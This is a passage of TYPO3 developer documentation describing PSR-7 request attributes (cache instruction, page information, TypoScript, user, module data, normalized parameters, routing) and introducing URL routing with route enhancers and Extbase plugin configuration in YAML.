        $cacheInstruction->disableCache('EXT:my-extension: My-reason disables caches.');

        // Write back the cache instruction to the attribute
        $request = $request->withAttribute('frontend.cache.instruction', $cacheInstruction);

        // ... more logic

        return $handler->handle($request);
    }
}
Copied!

Extension with middlewares or other code after typo3/cms-frontend/tsfe can assume the attribute to be set already. Usage example:

EXT:my_extension/Classes/Middleware/MyLaterMiddleware.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Middleware;

use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\MiddlewareInterface;
use Psr\Http\Server\RequestHandlerInterface;

final class MyLaterMiddleware implements MiddlewareInterface
{
    public function process(
        ServerRequestInterface $request,
        RequestHandlerInterface $handler,
    ): ResponseInterface {
        // Get the attribute
        $cacheInstruction = $request->getAttribute('frontend.cache.instruction');

        // Disable the cache and give a reason
        $cacheInstruction->disableCache('EXT:my-extension: My-reason disables caches.');

        // ... more logic

        return $handler->handle($request);
    }
}
Copied!

API

class CacheInstruction
Fully qualified name
\TYPO3\CMS\Frontend\Cache\CacheInstruction

This class contains cache details and is created or updated in middlewares of the Frontend rendering chain and added as Request attribute "frontend.cache.instruction".

Its main goal is to disable the Frontend cache mechanisms in various scenarios, for instance when the admin panel is used to simulate access times, or when security mechanisms like cHash evaluation do not match.

disableCache ( string $reason)

Instruct the core Frontend rendering to disable Frontend caching. Extensions with custom middlewares may set this.

Note multiple cache layers are involved during Frontend rendering: For instance multiple TypoScript layers, the page cache and potentially others. Those caches are read from and written to within various middlewares. Depending on the position of a call to this method within the middleware stack, it can happen that some or all caches have already been read of written.

Extensions that use this method should keep an eye on their middleware positions in the stack to estimate the performance impact of this call. It's of course best to not use the 'disable cache' mechanic at all, but to handle caching properly in extensions.

param $reason

the reason

isCachingAllowed ( )
Returns
bool

Frontend controller

Deprecated since version 13.4

The class \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController and its global instance $GLOBALS['TSFE'] have been marked as deprecated. The class will be removed with TYPO3 v14.

Use the frontend.page.information request attribute for page-related properties.

The frontend.controller frontend request attribute provides access to the \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController object.

Example:

$frontendController = $request->getAttribute('frontend.controller');
$rootline = $frontendController->rootLine;  // Mind the capital "L"
Copied!

Frontend page information

New in version 13.0

The frontend.page.information frontend request attribute provides frequently used page information. The attribute is attached to the PSR-7 frontend request by the middleware TypoScriptFrontendInitialization, middlewares below can rely on existence of that attribute.

/** @var \TYPO3\CMS\Frontend\Page\PageInformation $pageInformation */
$pageInformation = $request->getAttribute('frontend.page.information');

// Formerly $tsfe->id
$id = $pageInformation->getId();

// Formerly $tsfe->page
$page = $pageInformation->getPageRecord();

// Formerly $tsfe->rootLine
$rootLine = $pageInformation->getRootLine();

// Formerly $tsfe->config['rootLine']
$rootLine = $pageInformation->getLocalRootLine();
Copied!

Frontend TypoScript

The frontend.typoscript frontend request attribute provides access to the \TYPO3\CMS\Core\TypoScript\FrontendTypoScript object. It contains the calculated TypoScript settings (formerly constants) and sometimes setup, depending on page cache status.

When a content object or plugin (plugins are content objects as well) needs the current TypoScript, it can retrieve it using this API:

// Substitution of $GLOBALS['TSFE']->tmpl->setup
$fullTypoScript = $request->getAttribute('frontend.typoscript')
    ->getSetupArray();
Copied!

API

New in version 13.0

The method getConfigArray() has been added. This supersedes the TSFE->config['config'] array.

class FrontendTypoScript
Fully qualified name
\TYPO3\CMS\Core\TypoScript\FrontendTypoScript

This class contains the TypoScript set up by the PrepareTypoScriptFrontendRendering Frontend middleware. It can be accessed in content objects:

$frontendTypoScript = $request->getAttribute('frontend.typoscript');

getFlatSettings ( )

This is always set up by the middleware / factory: Current settings ("constants") are needed for page cache identifier calculation.

This is a "flattened" array of all settings, as example, consider these settings TypoScript:

mySettings {
    foo = fooValue
    bar = barValue
}
Copied!

This will result in this array:

$flatSettings = [
    'mySettings.foo' => 'fooValue',
    'mySettings.bar' => 'barValue',
];
Copied!
Returns
array
getSetupArray ( )

The full Frontend TypoScript array.

This is always set up as soon as the Frontend rendering needs to actually render something and can not get the full content from page cache. This is the case when a page cache entry does not exist, or when the page contains COA_INT or USER_INT objects.

Returns
array
getConfigArray ( )

Array representation of getConfigTree().

Returns
array

Frontend user

The frontend.user frontend request attribute provides the \TYPO3\CMS\Frontend\Authentication\FrontendUserAuthentication object.

The topic is described in depth in chapter Authentication.

Example:

EXT:my_extension/Classes/Service/MyService.php
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Frontend\Authentication\FrontendUserAuthentication;

public function doSomethingToFrontendUser(ServerRequestInterface $request): void
{
    /** @var FrontendUserAuthentication $frontendUserAuthentification */
    $frontendUserAuthentification = $request->getAttribute('frontend.user');
    $frontendUserAuthentification->fetchGroupData($request);
    // do something
}
Copied!

Language

The language frontend request attribute provides information about the current language of the webpage via the \TYPO3\CMS\Core\Site\Entity\SiteLanguage object.

Example:

$language = $request->getAttribute('language');
$locale = $language->getLocale();
Copied!

Module

The module backend request attribute provides information about the current backend module in the object \TYPO3\CMS\Backend\Module\Module .

Example:

$module = $request->getAttribute('module');
$identifier = $route->getIdentifier();
Copied!

API

class Module
Fully qualified name
\TYPO3\CMS\Backend\Module\Module

A standard backend nodule

getRoutes ( )
Returns
array
getDefaultRouteOptions ( )
Returns
array
createFromConfiguration ( string $identifier, array $configuration)
param $identifier

the identifier

param $configuration

the configuration

Returns
static
getIdentifier ( )
Returns
string
getPath ( )
Returns
string
getIconIdentifier ( )
Returns
string
getTitle ( )
Returns
string
getDescription ( )
Returns
string
getShortDescription ( )
Returns
string
isStandalone ( )
Returns
bool
getNavigationComponent ( )
Returns
string
getComponent ( )
Returns
string
getPosition ( )
Returns
array
getAccess ( )
Returns
string
getWorkspaceAccess ( )
Returns
string
getParentIdentifier ( )
Returns
string
setParentModule ( \TYPO3\CMS\Backend\Module\ModuleInterface $module)
param $module

the module

getParentModule ( )
Returns
?\TYPO3\CMS\Backend\Module\ModuleInterface
hasParentModule ( )
Returns
bool
addSubModule ( \TYPO3\CMS\Backend\Module\ModuleInterface $module)
param $module

the module

hasSubModule ( string $identifier)
param $identifier

the identifier

Returns
bool
hasSubModules ( )
Returns
bool
getSubModule ( string $identifier)
param $identifier

the identifier

Returns
?\TYPO3\CMS\Backend\Module\ModuleInterface
removeSubModule ( string $identifier)
param $identifier

the identifier

getSubModules ( )
Returns
array<string,\ModuleInterface>
getAppearance ( )
Returns
array
getAliases ( )
Returns
array
getDefaultModuleData ( )
Returns
array

ModuleData

The moduleData backend request attribute is available when a backend module is requested. It holds the object \TYPO3\CMS\Backend\Module\ModuleData which contains the stored module data that might have been overwritten through the current request (with GET/POST).

Through the module registration one can define, which properties can be overwritten via GET/POST and their default value.

The whole determination is done before the requested route target - usually a backend controller - is called. This means, the route target can just read the final module data.

To restrict the values of module data properties, the given ModuleData object can be cleaned, for example, in a controller:

$allowedValues = ['foo', 'bar'];
$this->moduleData->clean('property', $allowedValues);
Copied!

If ModuleData contains property, the value is checked against the $allowedValues list. If the current value is valid, nothing happens. Otherwise the value is either changed to the default or if this value is also not allowed, to the first allowed value.

API

class ModuleData
Fully qualified name
\TYPO3\CMS\Backend\Module\ModuleData

A simple DTO containing the user specific module settings, e.g. whether the clipboard is shown.

The DTO is created in the PSR-15 middleware BackendModuleValidator, in case a backend module is requested and the user has necessary access permissions. The created DTO is then added as attribute to the PSR-7 Request and can be further used in components, such as middlewares or the route target (usually a backend controller).

createFromModule ( \TYPO3\CMS\Backend\Module\ModuleInterface $module, array $data)
param $module

the module

param $data

the data

Returns
self
getModuleIdentifier ( )
Returns
string
get ( string $propertyName, ?mixed $default = NULL)
param $propertyName

the propertyName

param $default

the default, default: NULL

Returns
?mixed
has ( string $propertyName)
param $propertyName

the propertyName

Returns
bool
set ( string $propertyName, ?mixed $value)
param $propertyName

the propertyName

param $value

the value

clean ( string $propertyName, array $allowedValues)

Cleans a single property by the given allowed list. First fallback is the default data list. If this list does also not contain an allowed value, the first value from the allowed list is taken.

param $propertyName

the propertyName

param $allowedValues

the allowedValues

Return description

True if something has been cleaned up

Returns
bool
cleanUp ( array $allowedData, bool $useKeys = true)

Cleans up all module data, which are defined in the given allowed data list. Usually called with $MOD_MENU.

param $allowedData

the allowedData

param $useKeys

the useKeys, default: true

Returns
bool
toArray ( )
Returns
array

Nonce

The nonce request attribute is related to Content Security Policy.

It is always available in backend context and only in frontend context, if the according feature is enabled.

One can retrieve the nonce like this:

// use TYPO3\CMS\Core\Domain\ConsumableString

/** @var ConsumableString|null $nonce */
$nonceAttribute = $this->request->getAttribute('nonce');
if ($nonceAttribute instanceof ConsumableString) {
    $nonce = $nonceAttribute->consume();
}
Copied!

Normalized parameters

The normalizedParams request attribute provide access to server parameters, for instance, if the TYPO3 installation is behind a reverse proxy. It is available in frontend and backend context.

One can retrieve the normalized parameters like this:

/** @var \TYPO3\CMS\Core\Http\NormalizedParams $normalizedParams */
$normalizedParams = $request->getAttribute('normalizedParams');
$requestPort = $normalizedParams->getRequestPort();
Copied!

API

class NormalizedParams
Fully qualified name
\TYPO3\CMS\Core\Http\NormalizedParams

This class provides normalized server parameters in HTTP request context.

It normalizes reverse proxy scenarios and various other web server specific differences of the native PSR-7 request object parameters (->getServerParams() / $GLOBALS['_SERVER']).

An instance of this class is available as PSR-7 ServerRequestInterface attribute:

$normalizedParams = $request->getAttribute('normalizedParams')
Copied!

This class substitutes the old GeneralUtility::getIndpEnv() method.

getDocumentRoot ( )
Return description

Absolute path to web document root, eg. /var/www/typo3

Returns
string
getHttpAcceptEncoding ( )

Will be deprecated later, use $request->getServerParams()['HTTP_ACCEPT_ENCODING'] instead

Return description

HTTP_ACCEPT_ENCODING, eg. 'gzip, deflate'

Returns
string
getHttpAcceptLanguage ( )

Will be deprecated later, use $request->getServerParams()['HTTP_ACCEPT_LANGUAGE'] instead

Return description

HTTP_ACCEPT_LANGUAGE, eg. 'de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7'

Returns
string
getHttpHost ( )
Return description

Sanitized HTTP_HOST value host[:port]

Returns
string
getHttpReferer ( )

Will be deprecated later, use $request->getServerParams()['HTTP_REFERER'] instead

Return description

HTTP_REFERER, eg. 'https://www.domain.com/typo3/index.php?id=42'

Returns
string
getHttpUserAgent ( )

Will be deprecated later, use $request->getServerParams()['HTTP_USER_AGENT'] instead

Return description

HTTP_USER_AGENT identifier

Returns
string
getQueryString ( )

Will be deprecated later, use $request->getServerParams()['QUERY_STRING'] instead

Return description

QUERY_STRING, eg 'id=42&foo=bar'

Returns
string
getPathInfo ( )

Will be deprecated later, use getScriptName() as reliable solution instead

Return description

Script path part of URI, eg. 'typo3/index.php'

Returns
string
getRemoteAddress ( )
Return description

Client IP

Returns
string
getRemoteHost ( )

Will be deprecated later, use $request->getServerParams()['REMOTE_HOST'] instead

Return description

REMOTE_HOST if configured in web server, eg. 'www.clientDomain.com'

Returns
string
getRequestDir ( )
Return description

REQUEST URI without script file name and query parts, eg. http://www.domain.com/typo3/

Returns
string
getRequestHost ( )
Return description

Sanitized HTTP_HOST with protocol scheme://host[:port], eg. https://www.domain.com/

Returns
string
getRequestHostOnly ( )
Return description

Host / domain /IP only, eg. www.domain.com

Returns
string
getRequestPort ( )
Return description

Requested port if given, eg. 8080 - often not explicitly given, then 0

Returns
int
getRequestScript ( )
Return description

REQUEST URI without query part, eg. http://www.domain.com/typo3/index.php

Returns
string
getRequestUri ( )
Return description

Request Uri without domain and protocol, eg. /index.php?id=42

Returns
string
getRequestUrl ( )
Return description

Full REQUEST_URI, eg. http://www.domain.com/typo3/foo/bar?id=42

Returns
string
getScriptFilename ( )
Return description

Absolute entry script path on server, eg. /var/www/typo3/index.php

Returns
string
getScriptName ( )
Return description

Script path part of URI, eg. '/typo3/index.php'

Returns
string
getSitePath ( )
Return description

Path part to frontend, eg. /some/sub/dir/

Returns
string
getSiteScript ( )
Return description

Path part to entry script with parameters, without sub dir, eg 'typo3/index.php?id=42'

Returns
string
getSiteUrl ( )
Return description

Website frontend url, eg. https://www.domain.com/some/sub/dir/

Returns
string
isBehindReverseProxy ( )
Return description

True if request comes from a configured reverse proxy

Returns
bool
isHttps ( )
Return description

True if client request has been done using HTTPS

Returns
bool

Migrating from GeneralUtility::getIndpEnv()

The class \TYPO3\CMS\Core\Http\NormalizedParams is a one-to-one transition of \TYPO3\CMS\Core\Utility\GeneralUtility::getIndpEnv(), the old arguments can be substituted with these calls:

  • SCRIPT_NAME is now ->getScriptName()
  • SCRIPT_FILENAME is now ->getScriptFilename()
  • REQUEST_URI is now ->getRequestUri()
  • TYPO3_REV_PROXY is now ->isBehindReverseProxy()
  • REMOTE_ADDR is now ->getRemoteAddress()
  • HTTP_HOST is now ->getHttpHost()
  • TYPO3_DOCUMENT_ROOT is now ->getDocumentRoot()
  • TYPO3_HOST_ONLY is now ->getRequestHostOnly()
  • TYPO3_PORT is now ->getRequestPort()
  • TYPO3_REQUEST_HOST is now ->getRequestHost()
  • TYPO3_REQUEST_URL is now ->getRequestUrl()
  • TYPO3_REQUEST_SCRIPT is now ->getRequestScript()
  • TYPO3_REQUEST_DIR is now ->getRequestDir()
  • TYPO3_SITE_URL is now ->getSiteUrl()
  • TYPO3_SITE_PATH is now ->getSitePath()
  • TYPO3_SITE_SCRIPT is now ->getSiteScript()
  • TYPO3_SSL is now ->isHttps()

Some further old getIndpEnv() arguments directly access $request->serverParams() and do not apply any normalization. These have been transferred to the new class, too, but will be deprecated later if the Core does not use them anymore:

  • PATH_INFO is now ->getPathInfo(), but better use ->getScriptName() instead
  • HTTP_REFERER is now ->getHttpReferer(), but better use $request->getServerParams()['HTTP_REFERER'] instead
  • HTTP_USER_AGENT is now ->getHttpUserAgent(), but better use $request->getServerParams()['HTTP_USER_AGENT'] instead
  • HTTP_ACCEPT_ENCODING is now ->getHttpAcceptEncoding(), but better use $request->getServerParams()['HTTP_ACCEPT_ENCODING'] instead
  • HTTP_ACCEPT_LANGUAGE is now ->getHttpAcceptLanguage(), but better use $request->getServerParams()['HTTP_ACCEPT_LANGUAGE'] instead
  • REMOTE_HOST is now ->getRemoteHost(), but better use $request->getServerParams()['REMOTE_HOST'] instead
  • QUERY_STRING is now ->getQueryString(), but better use $request->getServerParams()['QUERY_STRING'] instead

Route

The route backend request attribute provides routing information in the object \TYPO3\CMS\Backend\Routing\Route .

Example:

$route = $request->getAttribute('route');
$moduleConfiguration = $route->getOption('moduleConfiguration');
Copied!

API

class Route
Fully qualified name
\TYPO3\CMS\Backend\Routing\Route

This is a single entity for a Route.

The architecture is highly inspired by the Symfony Routing Component.

getPath ( )

Returns the path

Return description

The path pattern

Returns
string
setPath ( ?string $pattern)

Sets the pattern for the path A pattern must start with a slash and must not have multiple slashes at the beginning because the generated path for this route would be confused with a network path, e.g. '//domain.com/path'.

This method implements a fluent interface.

param $pattern

The path pattern

Return description

The current Route instance

Returns
\Route
getMethods ( )

Returns the uppercased HTTP methods this route is restricted to.

An empty array means that any method is allowed.

Return description

The methods

Returns
string[]
setMethods ( array $methods)

Sets the HTTP methods (e.g. ['POST']) this route is restricted to.

An empty array means that any method is allowed.

This method implements a fluent interface.

param $methods

The array of allowed methods

Returns
self
getOptions ( )

Returns the options set

Return description

The options

Returns
array
setOptions ( array $options)

Sets the options

This method implements a fluent interface.

param $options

The options

Return description

The current Route instance

Returns
\Route
setOption ( ?string $name, ?mixed $value)

Sets an option value

This method implements a fluent interface.

param $name

An option name

param $value

The option value

Return description

The current Route instance

Returns
\Route
getOption ( ?string $name)

Get an option value

param $name

An option name

Return description

The option value or NULL when not given

Returns
mixed
hasOption ( ?string $name)

Checks if an option has been set

param $name

An option name

Return description

TRUE if the option is set, FALSE otherwise

Returns
bool

Routing

Frontend

The routing frontend request attribute provides routing information in the object \TYPO3\CMS\Core\Routing\PageArguments . If you want to know the current page ID or retrieve the query parameters this attribute is your friend.

Example:

/** @var \Psr\Http\Message\ServerRequestInterface $request */
$pageArguments = $request->getAttribute('routing');
$pageId = $pageArguments->getPageId();
Copied!

API

class PageArguments
Fully qualified name
\TYPO3\CMS\Core\Routing\PageArguments

Contains all resolved parameters when a page is resolved from a page path segment plus all fragments.

areDirty ( )
Returns
bool
getRouteArguments ( )
Returns
array<string,string|array>
getPageId ( )
Returns
int
getPageType ( )
Returns
string
get ( string $name)
param $name

the name

Returns
string|array<string,string|array>|null
getArguments ( )
Returns
array<string,string|array>
getStaticArguments ( )
Returns
array<string,string|array>
getDynamicArguments ( )
Returns
array<string,string|array>
getQueryArguments ( )
Returns
array<string,string|array>
offsetExists ( ?mixed $offset)
param $offset

the offset

Returns
bool
offsetGet ( ?mixed $offset)
param $offset

the offset

Returns
string|array<string,string|array>|null
offsetSet ( ?mixed $offset, ?mixed $value)
param $offset

the offset

param $value

the value

offsetUnset ( ?mixed $offset)
param $offset

the offset

Backend

The routing backend request attribute provides routing information in the object \TYPO3\CMS\Backend\Routing\RouteResult .

Example:

/** @var \Psr\Http\Message\ServerRequestInterface $request */
$routing = $request->getAttribute('routing');
$arguments = $routing->getArguments()
Copied!

API

class RouteResult
Fully qualified name
\TYPO3\CMS\Backend\Routing\RouteResult

A route result for the TYPO3 Backend Routing, containing the matched Route and the related arguments found in the URL

getRoute ( )
Returns
\TYPO3\CMS\Backend\Routing\Route
getRouteName ( )
Returns
string
getArguments ( )
Returns
array
offsetExists ( ?mixed $offset)
param $offset

the offset

Returns
bool
offsetGet ( ?mixed $offset)
param $offset

the offset

Returns
?mixed
offsetSet ( ?mixed $offset = '', ?mixed $value = '')
param $offset

the offset, default: ''

param $value

the value, default: ''

offsetUnset ( ?mixed $offset)
param $offset

the offset

Site

The site request attribute hold information about the current site in the object \TYPO3\CMS\Core\Site\Entity\Site . It is available in frontend and backend context.

Example:

$site = $request->getAttribute('site');
$siteConfiguration = $site->getConfiguration();
Copied!

Target

The target backend request attribute provides the target action of a backend route. For instance, the target of the Web > List module is set to TYPO3\CMS\Recordlist\Controller\RecordListController::mainAction.

Example:

$target = $request->getAttribute('target');
Copied!

Introduction to Routing

What is Routing?

When TYPO3 serves a request, it maps the incoming URL to a specific page or action. For example it maps an URL like https://example.org/news to the News page. This process of determining the page and/or action to execute for a specific URL is called "Routing".

The input of a route is made up of several components; some components can also be split further into sub-components.

Routing will also take care of beautifying URI parameters, for example converting https://example.org/profiles?user=magdalena to https://example.org/profiles/magdalena.

Key Terminology

Given a complex link (URI, Uniform Resource Identificator) like

https://subdomain.example.com:80/en/about-us/our-team/john-doe/publications/index.xhtml?utm_campaign=seo#start
Copied!

all of its components can be broken down to:

https:// subdomain. example. com :80 /en /about-us/our-team /john-doe /publications/ index .xhtml ?utm_campaign= seo #start
Protocol Subdomain Domain TLD Port Site Language Prefix Slug Enhanced Route      
  Hostname       Route Enhancer Route Decorator Query string argument value Location Hash / Anchor
  Route / Permalink  
URL (no arguments, unlike the URI)      
URI (everything)
Route
The "speaking URL" as a whole (without the domain parts); for example /en/about-us/our-team/john-doe/publications/index.xhtml. This is also sometimes referred to as permalink, some definitions also include the Query string for this term.
Site Language Prefix
A global site language prefix (e.g. "/dk" or "/en-us") is not considered part of the slug, but rather a "prefix" to the slug.
Slug

Unique name for a resource to use when creating URLs; for example the slug of the news detail page could be /news/detail, and the slug of a news record could be 2019-software-update.

Within TYPO3, a slug is always a part (section) of the URL "path" - it does not contain scheme, host, HTTP verb, etc. The URL "path" consists of one or more slugs which are concatenated into a single string.

A slug is usually added to a TCA-based database table, containing rules for evaluation and definition.

The default behaviour of a slug is as follows:

  • A slug only contains characters which are allowed within URLs. Spaces, commas and other special characters are converted to a fallback character.
  • A slug is always lower-cased.
  • A slug is unicode-aware.
  • Slugs must be separated by one or more character like "/", "-", "_" and "&". Regular characters like letters should not be used as separators for better readability.
Enhancers
Sections after a slug can be added ("enhancing" the route) both by "Route Enhancers" and also "(Route Enhancing) Decorators", see Advanced routing configuration.
Page Type Suffix

A Page Type Suffix indicates the type of a URL, usually ".html". It can also be left out completely. If set, it could control alternate variants of a URL, for example a RSS feed or a JSON representation.

A Page Type Suffix is treated as an Enhancer, specifically a "(Route) Decorator". Other kinds of decorators could add additional parts to the route, but only after(!) the initial "Route Enhancer(s)".

Enhanced Route
The combination of multiple Enhancers (and the Page Type Suffix) can be referred to as the "Enhanced Route".
Query string
The main distinction of URL (Uniform Resource Locator) and URI (Uniform Resource Identifier) is that the URI also includes arguments/parameters and their values, beginning with a ? and each argument separated by &, and the value separated from the argument name by =. This is commonly referred to as "Query string".

Routing in TYPO3

Routing in TYPO3 is implemented based on the Symfony Routing components. It consists of two parts:

  • Page Routing
  • Route Enhancements and Aspects

Page Routing describes the process of resolving the concrete page (in earlier TYPO3 versions this were the id and L $_GET parameters, now this uses the Site Language Prefix plus one or more slugs), whereas Route Enhancements and Aspects take care of all additionally configured parameters (such as beautifying plugin parameters, handling type etc.).

Prerequisites

To ensure Routing in TYPO3 is fully functional the following prerequisites need to be met:

Tips

Using imports in YAML files

As routing configuration (and site configuration in general) can get pretty long fast, you should make use of imports in your YAML configuration which allows you to add routing configurations from different files and different extensions.

Example:

config/sites/<site-identifier>/config.yaml
imports:
    - { resource: "EXT:myblog/Configuration/Routes/Default.yaml" }
    - { resource: "EXT:mynews/Configuration/Routes/Default.yaml" }
    - { resource: "EXT:template/Configuration/Routes/Default.yaml" }
Copied!

Page-based routing

TYPO3 provides built-in support for page-based routing, mapping pages to routes automatically.

Page-based routing is always enabled in TYPO3 and requires a site configuration (see Site handling) for your website. Each page's route is determined by its slug field, which can be viewed in the page properties.

The generation of page slugs is controlled via the TCA configuration of the pages table (slug field). This configuration can be customized in your extension’s TCA/Overrides/pages.php. Refer to the TCA reference (Slugs / URL parts) for available options.

If the system extension typo3/cms-redirects is installed, redirects are automatically generated when a slug is adjusted by and editor.

Advanced routing configuration (for extensions)

Introduction

While page-based routing works out of the box, routing for extensions has to be configured explicitly in your site configuration.

Enhancers and aspects are an important concept in TYPO3 and they are used to map GET parameters to routes.

An enhancer creates variations of a specific page-based route for a specific purpose (e.g. an Extbase plugin) and "enhances" an existing route path, which can contain flexible values, so-called "placeholders".

Aspects can be registered for a specific enhancer to modify placeholders, adding static, human readable names within the route path or dynamically generated values.

To give you an overview of what the distinction is, imagine a web page which is available at

https://example.org/path-to/my-page

(the path mirrors the page structure in the backend) and has page ID 13.

Enhancers can transform this route to:

https://example.org/path-to/my-page/products/<product-name>

An enhancer adds the suffix /products/<product-name> to the base route of the page. The enhancer uses a placeholder variable which is resolved statically, dynamically or built by an aspect or "mapper".

It is possible to use the same enhancer multiple times with different configurations. Be aware that it is not possible to combine multiple variants / enhancers matching multiple configurations.

However, custom enhancers can be created for special use cases, for example, when two plugins with multiple parameters each could be configured. Otherwise, the first variant matching the URL parameters is used for generating and resolving the route.

Enhancers

There are two types of enhancers: route decorators and route enhancers. A route enhancer replaces a set of placeholders, inserts URL parameters during URL generation and then resolves them properly later. The substitution of values with aliases can be done by aspects. To simplify, a route enhancer specifies what the full route path looks like and which variables are available, whereas an aspect maps a single variable to a value.

TYPO3 comes with the following route enhancers out of the box:

TYPO3 provides the following route decorator out of the box:

Custom enhancers can be registered by adding an entry to an extension's ext_localconf.php file:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use MyVendor\MyPackage\Routing\CustomEnhancer;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['SYS']['routing']['enhancers']['CustomEnhancer']
    = CustomEnhancer::class;
Copied!

Within a configuration, an enhancer always evaluates the following properties:

type
The short name of the enhancer as registered within $GLOBALS['TYPO3_CONF_VARS'] . This is mandatory.
limitToPages
An array of page IDs where this enhancer should be called. This is optional. This property (array) triggers an enhancer only for specific pages. In case of special plugin pages, it is recommended to enhance only those pages with the plugin to speed up performance of building page routes of all other pages.

All enhancers allow to configure at least one route with the following configuration:

defaults
Defines which URL parameters are optional. If the parameters are omitted during generation, they can receive a default value and do not need a placeholder - it is possible to add them at the very end of the routePath.
requirements

Specifies exactly what kind of parameter should be added to that route as a regular expressions. This way it is configurable to allow only integer values, for example for pagination.

Make sure you define your requirements as strict as possible. This is necessary so that performance is not reduced and to allow TYPO3 to match the expected route.

_arguments
Defines what route parameters should be available to the system. In the following example, the placeholder is called category_id, but the URL generation receives the argument category. It is mapped to that name (so you can access/use it as category in your custom code).

TYPO3 will add the parameter cHash to URLs when necessary, see Caching variants - or: What is a "cache hash"?. The cHash can be removed by converting dynamic arguments into static arguments. All captured arguments are dynamic by default. They can be converted to static arguments by defining the possible expected values for these arguments. This is done by adding aspects for those arguments to provide a static list of expected values.

Simple enhancer

The simple enhancer works with route arguments. It maps them to an argument to make a URL that can be used later.

index.php?id=13&category=241&tag=Benni
Copied!

results in

https://example.org/path-to/my-page/show-by-category/241/Benni
Copied!

The configuration looks like this:

routeEnhancers:
  # Unique name for the enhancers, used internally for referencing
  CategoryListing:
    type: Simple
    limitToPages: [13]
    routePath: '/show-by-category/{category_id}/{tag}'
    defaults:
      tag: ''
    requirements:
      category_id: '[0-9]{1,3}'
      tag: '[a-zA-Z0-9]+'
    _arguments:
      category_id: 'category'
Copied!
routePath
defines the static keyword and the placeholders.
requirements
defines parts that should be replaced in the routePath. Regular expressions limit the allowed chars to be used in those parts.
_arguments
defines the mapping from the placeholder in the routePath to the name of the parameter in the URL as it would appear without enhancement. Note that it is also possible to map to nested parameters by providing a path-like parameter name. For example, specifying my_array/my_key as the parameter name would set the GET parameter my_array[my_key] to the value of the specified placeholder.

Plugin enhancer

The plugin enhancer works with plugins based on Core functionality.

In this example we will map the raw parameters of an URL like this:

https://example.org/path-to/my-page?id=13&tx_felogin_pi1[forgot]=1&tx_felogin_pi1[user]=82&tx_felogin_pi1[hash]=ABCDEFGHIJKLMNOPQRSTUVWXYZ012345
Copied!

The result will be an URL like this:

https://example.org/path-to/my-page/forgot-password/82/ABCDEFGHIJKLMNOPQRSTUVWXYZ012345
Copied!

The base for the plugin enhancer is the configuration of a so-called "namespace", in this case tx_felogin_pi1 - the plugin's namespace.

The plugin enhancer explicitly sets exactly one additional variation for a specific use case. For the frontend login, we would need to set up two configurations of the plugin enhancer for "forgot password" and "recover password".

routeEnhancers:
  ForgotPassword:
    type: Plugin
    limitToPages: [13]
    routePath: '/forgot-password/{user}/{hash}'
    namespace: 'tx_felogin_pi1'
    defaults:
      forgot: '1'
    requirements:
      user: '[0-9]{1,3}'
      hash: '^[a-zA-Z0-9]{32}$'
Copied!

If a URL is generated with the above parameters the resulting link will be this:

https://example.org/path-to/my-page/forgot-password/82/ABCDEFGHIJKLMNOPQRSTUVWXYZ012345
Copied!

As you see, the plugin enhancer is used to specify placeholders and requirements with a given namespace.

If you want to replace the user ID (in this example "82") with a username, you would need an aspect that can be registered within any enhancer, see below for details.

Extbase plugin enhancer

When creating Extbase plugins, it is very common to have multiple controller/action combinations. Therefore, the Extbase plugin enhancer is an extension to the regular plugin enhancer and provides the functionality to generate multiple variants, typically based on the available controller/action pairs.

The Extbase plugin enhancer with the configuration below would now apply to the following URLs:

index.php?id=13&tx_news_pi1[controller]=News&tx_news_pi1[action]=list
index.php?id=13&tx_news_pi1[controller]=News&tx_news_pi1[action]=list&tx_news_pi1[page]=5
index.php?id=13&tx_news_pi1[controller]=News&tx_news_pi1[action]=list&tx_news_pi1[year]=2018&tx_news_pi1[month]=8
index.php?id=13&tx_news_pi1[controller]=News&tx_news_pi1[action]=detail&tx_news_pi1[news]=13
index.php?id=13&tx_news_pi1[controller]=News&tx_news_pi1[action]=tag&tx_news_pi1[tag]=11
Copied!

And generate the following URLs:

https://example.org/path-to/my-page/list/
https://example.org/path-to/my-page/list/5
https://example.org/path-to/my-page/list/2018/8
https://example.org/path-to/my-page/detail/in-the-year-2525
https://example.org/path-to/my-page/tag/future
Copied!
routeEnhancers:
  NewsPlugin:
    type: Extbase
    limitToPages: [13]
    extension: News
    plugin: Pi1
    routes:
      - routePath: '/list/'
        _controller: 'News::list'
      - routePath: '/list/{page}'
        _controller: 'News::list'
        _arguments:
          page: '@widget_0/currentPage'
      - routePath: '/detail/{news_title}'
        _controller: 'News::detail'
        _arguments:
          news_title: 'news'
      - routePath: '/tag/{tag_name}'
        _controller: 'News::list'
        _arguments:
          tag_name: 'overwriteDemand/tags'
      - routePath: '/list/{year}/{month}'
        _controller: 'News::list'
        _arguments:
          year: 'overwriteDemand/year'
          month: 'overwriteDemand/month'
        requirements:
          year: '\d+'
          month: '\d+'
    defaultController: 'News::list'
    defaults:
      page: '0'
    aspects:
      news_title:
        type: PersistedAliasMapper
        tableName: tx_news_domain_model_news
        routeFieldName: path_segment
      page:
        type: StaticRangeMapper
        start: '1'
        end: '100'
      month:
        type: StaticRangeMapper
        start: '1'
        end: '12'
      year:
        type: StaticRangeMapper
        start: '1984'
        end: '2525'
      tag_name:
        type: PersistedAliasMapper
        tableName: tx_news_domain_model_tag
        routeFieldName: slug
Copied!

In this example, the _arguments parameter is used to set sub-properties of an array, which is typically used within demand objects for filtering functionality. Additionally, it is using both the short and the long form of writing route configurations.

Instead of using the combination of extension and plugin one can also provide the namespace property as in the regular plugin enhancer:

routeEnhancers:
  NewsPlugin:
    type: Extbase
    limitToPages: [13]
    namespace: tx_news_pi1
    # ... further configuration
Copied!

To understand what is happening in the aspects part, read on.

PageType decorator

The PageType enhancer (route decorator) allows to add a suffix to the existing route (including existing other enhancers) to map a page type (GET parameter &type=) to a suffix.

It is possible to map various page types to endings:

Example in TypoScript:

page = PAGE
page.typeNum = 0
page.10 = TEXT
page.10.value = Default page

rssfeed = PAGE
rssfeed.typeNum = 13
rssfeed.10 < plugin.tx_myplugin
rssfeed.config.disableAllHeaderCode = 1
rssfeed.config.additionalHeaders.10.header = Content-Type: xml/rss

